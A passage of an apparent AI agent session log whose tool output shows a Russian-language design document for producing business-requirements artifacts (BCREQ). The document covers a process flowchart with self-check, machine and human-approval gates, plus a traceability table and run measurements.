\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | `A-BCREQ` | \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437 issue #563 |\\n| \u041d\u0430\u0432\u044b\u043a\u0438 | 7 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 `SKILL.md` (3 \u0432 `P-01`, 4 \u0432 `P-03`) \u043f\u043b\u044e\u0441 3 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432\u0435\u0442\u0432\u0438 `P-02` | \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 \u043d\u0430\u0432\u044b\u043a-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f (`SK-1`) |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u0441\u043b\u043e\u0432\u0430\u0440\u044c `ba-operation-taxonomy`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u043e\u043d\u0430 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 |\\n| \u0413\u0435\u0439\u0442\u044b | `G-self` \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430, `G-mach` \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, `G-human` \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438 \u0432 `P-02` | \u043c\u0438\u043d\u0438\u043c\u0443\u043c, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u043a\u0430\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d; \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`) |\\n| \u042d\u0442\u0430\u043b\u043e\u043d\u044b | 2 (`contact-center`, \u043f\u0440\u043e\u0444\u0438\u043b\u044c `P-SETTINGS` \u0438 `P-NO-SETTINGS`) | \u0443\u0436\u0435 \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 `exp/ba-micro-structure-561/` |\\n| \u041e\u0431\u044a\u0451\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 10 \u0437\u0430\u0434\u0430\u0447 | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 |\\n\\n## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:57.751Z] [INFO]       }\n[2026-09-29T07:44:57.751Z] [INFO]     ]\n[2026-09-29T07:44:57.751Z] [INFO]   },\n[2026-09-29T07:44:57.751Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:57.751Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"uuid\": \"70d72118-76d8-4b7a-b16c-2e0315fa7aa8\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:57.743Z\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:57.751Z] [INFO]     \"stdout\": \"# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n\\n> \u0424\u0430\u0439\u043b \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f: \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u2014\\n> [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u2014\\n> [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n> [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n\\n## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n\\n\u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 BCREQ (`A-BCREQ`) \u0438\u0437 \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f (`A-IN`). \u041f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0441\u043b\u0435\u0434.\\n\\n```mermaid\\nflowchart TD\\n    subgraph IN[\\\"\u0412\u0445\u043e\u0434\\\"]\\n        AIN[\\\"A-IN\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430\\\"]\\n        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n        SYS[\\\"\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f (SY-3)\\\"]\\n    end\\n\\n    CIN{{\\\"C-IN\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430\\\"}}\\n    AIN --> CIN\\n    PC --> CIN\\n    SYS --> CIN\\n\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e\\\"| P[\\\"P-01 elicitation-processing\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, process \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (EP-R1)\\\"]\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e\\\"| STOP[\\\"\u041e\u0442\u043a\u0430\u0437: \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443(GT-2, fail-closed)\\\"]\\n\\n    subgraph SKA[\\\"\u041d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 P-01\\\"]\\n        S1[\\\"SK-transcript-normalization\\\"]\\n        S2[\\\"SK-context-extraction\\\"]\\n        S3[\\\"SK-ambiguity-detection\\\"]\\n    end\\n\\n    P --> S1 --> G1 --> S2 --> G2 --> S3 --> G3\\n\\n    G1[\\\"G-self: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430\\\"]\\n    G2[\\\"G-mach: C-CORE, \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b\\\"]\\n    G3{\\\"\u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438?\\\"}\\n\\n    G3 -->|\\\"\u0434\u0430 (\u0440\u0435\u0431\u0440\u043e \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044e, EP-R5)\\\"| Q[\\\"P-02 clarification-managementSK-question-formation [G5]\\\"]\\n    Q --> AQ[\\\"A-QUEST\u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\\\"]\\n    AQ --> S2\\n\\n    G3 -->|\\\"\u043d\u0435\u0442\\\"| CORE[\\\"A-CORE\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\"]\\n\\n    CORE --> P3[\\\"P-03 bcreq-formationSK-problem-statement \u2192 SK-value-hypothesis\u2192 SK-bcreq-decomposition \u2192 SK-bcreq-assembly\\\"]\\n\\n    subgraph GATE[\\\"\u0413\u0435\u0439\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 (\u043e\u0434\u0438\u043d \u0433\u0435\u0439\u0442, \u0442\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f)\\\"]\\n        GS[\\\"G-self\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043d\u0430\u0432\u044b\u043a\u0430\\\"]\\n        GM[\\\"G-machC-OUT + \u0441\u0445\u0435\u043c\u0430 + Golden Set (EP-G1)\\\"]\\n        GH[\\\"G-human\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 + \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (GT-5)\\\"]\\n    end\\n\\n    P3 --> GS --> GM --> GH\\n\\n    GM -->|\\\"\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\\"| REJ[\\\"\u0412\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 SK-bcreq-assembly\\\"]\\n    REJ --> P3\\n\\n    GH --> OUT[\\\"A-BCREQ\u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\\"]\\n    GH --> TR[\\\"A-TRACE\u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438\\\"]\\n\\n    OUT --> V1[\\\"V-BIZ\\\"]\\n    OUT --> V2[\\\"V-APPROVE\\\"]\\n    OUT --> V3[\\\"V-DEV\\\"]\\n    OUT --> V4[\\\"V-CONTRACT\\\"]\\n\\n    TR -.->|\\\"source_ref (\u0446\u0438\u0442\u0430\u0442\u0430)\\\"| AIN\\n    TR -.->|\\\"step_actor, gate_result\\\"| GATE\\n    TR -.->|\\\"output_ref\\\"| OUT\\n```\\n\\n**\u041a\u0430\u043a \u0447\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444.**\\n\\n1. **\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u2014 \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433, \u0430 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u0445\u043e\u0434\u0430.** `C-IN` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0434\u043e\\n   \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u043b\u0438 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0421\u0438\u0441\u0442\u0435\u043c\u0430\\n   \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u0433\u0430\u0434\u043a\u043e\u0439.\\n2. **\u0420\u043e\u043c\u0431 `G3` \u2014 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u0441\u043c\u0435\u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.** \u0423\u0445\u043e\u0434 \u0432 `P-02` \u043f\u0440\u0438\\n   \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044f\u0445 \u2014 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0431\u0440\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 (`EP-R3`);\\n   \u0432 \u043b\u0438\u0441\u0442\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u043d \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441 \u043d\u0430\u0431\u043b\u044e\u0434\u0451\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c\\n   \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 (`EP-R6`).\\n3. **\u041d\u0430\u0432\u044b\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0435, \u0433\u0435\u0439\u0442 \u043e\u0434\u0438\u043d.** `G-self`, `G-mach`, `G-human` \u2014 \u0442\u0440\u0438\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u0430 \u043d\u0435 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u0430 (`10-theory.md`, \u00a72). \u0413\u0435\u0439\u0442\\n   \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 (`OA-2`). \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\\n   \u0432\u0441\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438, \u0438 \u044d\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u044f\u0432\u043d\u043e.\\n4. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0433\u0435\u0439\u0442 \u2014 \u043c\u043e\u043c\u0435\u043d\u0442.** `C-OUT` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442, \u0447\u0435\u043c\u0443\\n   \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434; `G4` \u2014 \u0442\u043e\u0447\u043a\u0430, \u0433\u0434\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\n   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\n   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c **\u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c**\u00bb \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u043f\u043e\\n   \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430), \u0430 `S-OPEN` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0443\u0441\u0442.\\n   \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f\\n   \u0432\u0435\u0442\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u0434\u043e \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e\\n   \u043d\u0435 \u0438\u043c\u0435\u043b\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `projection`\\n   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u0430; \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.4 \u043f\u043e\u043b\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c,\\n   \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0442\u043a\u0430 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n6. **\u0421\u043b\u0435\u0434 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430.** `A-TRACE` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0438\\n   \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434, \u0433\u0435\u0439\u0442\u044b \u0438 \u0432\u044b\u0445\u043e\u0434; \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c\\n   (`EP-R4`).\\n\\n## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n\\n| \u0417\u0432\u0435\u043d\u043e | \u0427\u0435\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043e | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u2192 \u043f\u0440\u043e\u0433\u043e\u043d | `trace.input_ref` | `G-mach`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044f |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f `L2` | `G-mach`, `EP-R1` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f | `path` \u0438 `decisions` \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | `G-mach`, `EP-R6` |\\n| \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2192 \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 | `source_ref`: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0440\u0430\u0437\u0434\u0435\u043b, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 | `G-mach` (`check-source-evidence`), \u0437\u0430\u0442\u0435\u043c `G-human` (`GT-5`) |\\n| \u0448\u0430\u0433 \u2192 \u0430\u043a\u0442\u043e\u0440 | `step_actor` | `G-mach`, `EP-R2` |\\n| \u0448\u0430\u0433 \u2192 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0433\u0435\u0439\u0442\u0430 | `gate_result` \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c | `G-mach` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | `trace.output_ref` | `G-human` |\\n| \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2192 \u0441\u043b\u043e\u0442\u044b | \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 | `G-mach`, \u0441\u0445\u0435\u043c\u0430 `C-OUT` |\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u043d\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u0437\u0432\u0435\u043d\u0435: **50 \u0438\u0437 67\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442, \u0430 66 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 `process` \u0438\u0437 67 \u043b\u0435\u0436\u0430\u0442\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`D7`). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 MVP \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0430**, \u0430\\n\u043d\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f.\\n\\n## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n\\n\u0421\u0440\u0435\u0437 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0443\u0437\u043a\u0438\u0439: \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441, \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u0434\u0438\u043d 